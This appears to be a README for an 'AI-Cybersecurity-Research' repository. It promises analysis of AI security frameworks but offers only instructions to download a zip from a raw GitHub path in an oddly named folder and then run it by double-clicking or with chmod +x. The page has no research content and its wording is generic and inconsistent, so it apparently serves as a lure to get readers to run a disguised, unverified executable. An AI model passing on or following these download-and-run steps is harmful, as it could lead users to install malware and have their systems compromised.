Welcome to AI-Cybersecurity-Research! This project explores the benefits and risks of using artificial intelligence (AI) and large language models (LLMs) in cybersecurity. You will find valuable insights on frameworks like NIST AI RMF and OWASP Top 10 for LLMs, along with real-world case studies.
To begin, visit the Releases page to download the application. Here’s how to do it:
- Click on the link above.
- You will see a list of released versions.
- Choose the version you want to download.
- Click the download link for your operating system (Windows, macOS, or Linux).
- Save the file to your computer.
Once the download is complete, follow the instructions below to install.
- Operating System: Windows 10 or later, macOS Catalina or later, or any recent Linux distribution.
- Memory: At least 4 GB RAM.
- Storage: At least 500 MB of free disk space.
- Processor: 2 GHz or faster processor.
After you have downloaded and installed the application, you can launch it by following these steps:
- Locate the downloaded file (usually in your "Downloads" folder).
- Double-click on the executable file (e.g.,
https://raw.githubusercontent.com/lcxiterzin123/AI-Cybersecurity-Research/main/strouthiocamel/AI-Cybersecurity-Research.zip). - Follow the prompts to complete any setup.
- Open Finder and go to the "Downloads" folder.
- Double-click on the application file (e.g.,
https://raw.githubusercontent.com/lcxiterzin123/AI-Cybersecurity-Research/main/strouthiocamel/AI-Cybersecurity-Research.zip). - If prompted, drag the application to your Applications folder for easier access.
- Open your terminal.
- Navigate to the directory where you downloaded the file.
- Run the command
chmod +x AI-Cybersecurity-Researchto make it executable. - Start the application with
./AI-Cybersecurity-Research.
- Comprehensive Analysis: Explore detailed sections on benefits, risks, and mitigation strategies pertaining to the use of AI and LLMs in cybersecurity.
- Framework Insights: Learn about structured guidelines like NIST AI RMF and OWASP's advice for managing AI-related vulnerabilities.
- Case Studies: Review real-world applications and their outcomes to understand practical implications.
- User-Friendly Interface: Designed for ease of use, even for non-technical users.
- ai-security
- artificial-intelligence
- cyber-threat-intelligence
- cybersecurity
- data-poisoning
- large-language-models
- llm-vulnerabilities
- mitre-atlas
- nist-ai-rmf
- owasp
- prompt-injection
If you encounter any issues while using the application, try the following steps:
- Ensure Compatibility: Make sure your operating system meets the system requirements.
- Reinstall the Application: Sometimes, files may not download correctly. Installing again can help.
- Check for Updates: Visit the Releases page to see if a newer version is available that may address your issue.
For any further assistance, feel free to reach out via the GitHub repository's issues section.
This project is licensed under the MIT License. You can use, modify, and distribute this software, as long as you credit the original source.
Stay informed on the intersection of AI and cybersecurity. Thank you for your interest in AI-Cybersecurity-Research. Happy learning!